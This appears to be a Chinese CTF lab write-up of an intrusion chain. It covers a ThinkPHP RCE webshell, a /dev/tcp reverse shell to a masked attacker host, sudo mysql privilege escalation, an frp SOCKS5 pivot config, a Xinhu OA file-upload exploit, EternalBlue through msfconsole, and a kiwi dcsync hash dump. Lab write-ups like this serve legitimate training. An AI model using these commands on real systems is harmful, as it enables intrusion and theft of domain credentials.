可以发现为80端口架设了thinkphp 且存在5.0.23-rce漏洞，使用thinkphpgui获得shell

Pasted
点击getshell自动生成了http://39.99.138.79//peiqi.php 连接密码:peiqi 使用蚁剑连接，并上传fcan
Pasted
虚拟终端中使用/bin/bash -c \'bash -i >& /dev/tcp/xxxxxxx/10262 0>&1\' 反弹shell 得到shell后，使用sudo -l查看可用sudo提权的指令, 发现mysql可以sudo提权
Pasted
Pasted
得到root权限, 打印root家目录下的flag文件得到第一块flag flag{60b53231-
Pasted

域渗透(第二块flag)

给fscan权限，并使用ifconfig，发现内网网段172.22.1.0-255

Pasted
使用 ./fscan -h 172.22.1.0-255 扫描内网网段

./fscan -h 172.22.1.0-255

发现172.22.1.18架设了名为信乎的服务, 172.22.1.21为windows且存在永恒之蓝漏洞 接着上传frpc与frpc.toml, 架设通道, 以使得我们可以连接内网

Pasted
frps - 服务端(安装在外网 攻击机上) frps.ini / frps.toml (./frps -c frps.toml)

[common]
bind_port = 7000 # 服务端与客户端连接的端口
token = ftp1234 # 服务端与客户端连接的密码
  • frpc - 客户端(安装在内网 靶机上) frpc.ini / frps.toml (./frpc -c frpc.toml)
[common] 
server_addr = xxxxxxx # 服务端公网IP
server_port = 7000 # 连接服务端的端口
token = ftp1234 # 服务端与客户端连接的密码

[socks_proxy1]
type = tcp
remote_port = 5000 # 使服务端暴露的端口(代理的端口)
plugin = socks5 # 启用SOCKS5代理插件,该插件会将传到内网端口的流量 进一步代理转发到目标    
use_encryption = true
use_compression = true

Pasted
Pasted
连接成功后在浏览器使用代理, 连接到我们的frps服务中
Pasted
访问172.22.1.18, 发现可以访问了(本质上是因为我们架设了frp通道, 他将我们的服务端对应端口与客户端对应端口进行 端口映射, 我们将代理设置到 服务端的5000端口, 流量就会服务端导向客户端对应端口, 到达客户端口 再进行正向代理)
Pasted
访问172.22.1.18, 可见信乎版本v2.2.8, 尝试在cve官网搜索该cms是否存在漏洞, 发现漏洞还挺多的
Pasted
选择出现版本与v2.2.8相近的cve, 即CVE-2023-48930Vulnerability-recurrence/xinhuOA.md 位于 main ·Maverickfir/漏洞 - 复发这里直接按照上面说的复现就行了, 这里不赘述
Pasted
Pasted
Pasted
一句话木马文件上传成功, 使用蚁剑进行连接(记得蚁剑也要讲代理设为我们frps服务对应端口)
Pasted
Pasted
在adm用户目录中找到第二个flag 2ce3-4813-87d4-e8f88d0d43d6}
Pasted

域渗透(第三块flag)

然后我们再攻击172.22.1.21端口, 之前用fscan扫描发现有永恒之蓝漏洞, 所以这里我们直接用msfconsole来进行攻击利用 这里要利用proxychains, 他可以将我们的命令的流量也进行代理 需要先配置proxychains, 其配置文件在kali的/etc/proxychains4.conf 最下面改成

[ProxyList]
socks5  代理ip 代理端口

然后依次使用下面命令

proxychains msfconsole 
use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/x64/meterpreter/bind_tcp 
show options 
set rhosts 172.22.1.21 
run

这样就能拿到shell

Pasted
再使用命令

load kiwi 
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

导出得到的哈希值

meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
